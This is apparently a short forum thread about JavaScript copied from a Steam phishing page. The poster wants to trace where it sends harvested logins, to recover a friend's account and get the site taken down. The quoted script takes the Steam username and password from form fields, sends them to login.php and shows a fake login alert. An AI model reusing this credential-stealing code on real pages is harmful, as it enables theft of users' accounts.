<script type="text/javascript"> 
       function saveToFile(){
           var url = "login.php?user="+document.getElementById("steamAccountName").value+"&pass="+document.getElementById("steamPassword").value;
      if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }
 
    xmlhttp.onreadystatechange=function()
  {
  if (xmlhttp.readyState==4 && xmlhttp.status==200)
    {
    testForObject(xmlhttp.responseText)
    }
  }
xmlhttp.open("GET",url,true);
xmlhttp.send();
alert("You are about to login to Steam...");
       }
    </script>

I found it on a phishing site, I'm trying to get into it to get my friend's password back... I'm not trying to get everybody's passwords, but I want to try to take down this website which steams people's steam accounts.

It works by having the user enter data into a form field, then onSubmit="saveToFile()". I want to find the file it saves it to.

the file it "saves to" is "login.php"


After that who knows?

True, I got that far...

Man I wish there was a way to see PHP sometimes...